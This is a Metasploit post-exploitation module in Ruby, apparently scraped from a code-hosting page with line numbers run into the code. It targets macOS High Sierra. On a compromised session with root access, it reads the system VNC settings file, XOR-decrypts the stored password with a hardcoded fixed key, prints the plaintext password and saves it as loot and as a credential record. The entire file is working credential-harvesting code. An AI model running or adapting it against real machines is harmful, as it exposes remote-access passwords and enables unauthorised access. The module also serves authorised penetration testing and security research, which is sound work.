Path: blob/master/modules/post/osx/gather/vnc_password_osx.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::OSX::Priv7include Msf::Post::File89def initialize(info = {})10super(11update_info(12info,13'Name' => 'OS X Display Apple VNC Password',14'Description' => %q{15This module shows Apple VNC Password from Mac OS X High Sierra.16},17'License' => MSF_LICENSE,18'Author' => [ 'Kevin Gonzalvo <interhack[at]gmail.com>'],19'Platform' => [ 'osx' ],20'SessionTypes' => [ 'meterpreter', 'shell' ],21'Notes' => {22'Stability' => [CRASH_SAFE],23'SideEffects' => [],24'Reliability' => []25}26)27)28end2930def decrypt_hash(hash)31return if hash.blank?3233aux = ['1734516E8BA8C5E2FF1C39567390ADCA'].pack('H*')34fixedkey = aux.unpack('C*')3536str_pw = [hash.to_s].pack('H*')37array_pwd = str_pw.unpack('C*')38str = ''3940for data in fixedkey41str += (data ^ array_pwd.shift).chr42end4344return str.delete("\0")45end4647def run48unless is_root?49fail_with(Failure::NoAccess, 'Root privileges are required to read VNC password file')50end5152print_status('Checking VNC Password...')53vncsettings_path = '/Library/Preferences/com.apple.VNCSettings.txt'54passwd_encrypt = read_file(vncsettings_path.to_s)55final_passwd = decrypt_hash(passwd_encrypt.to_s)5657if final_passwd.nil?58print_error('Password not found')59return60end6162print_good("Password Found: #{final_passwd}")63pass_file = store_loot('osx.vnc.password', 'text/plain', session, final_passwd, 'passwd.pwd', 'OSX VNC Password')64print_good("Password data stored as loot in: #{pass_file}")65credential_data = {66origin_type: :session,67session_id: session_db_id,68post_reference_name: fullname,69private_type: :password,70private_data: final_passwd.to_s,71workspace_id: myworkspace_id72}73create_credential(credential_data)74end75end767778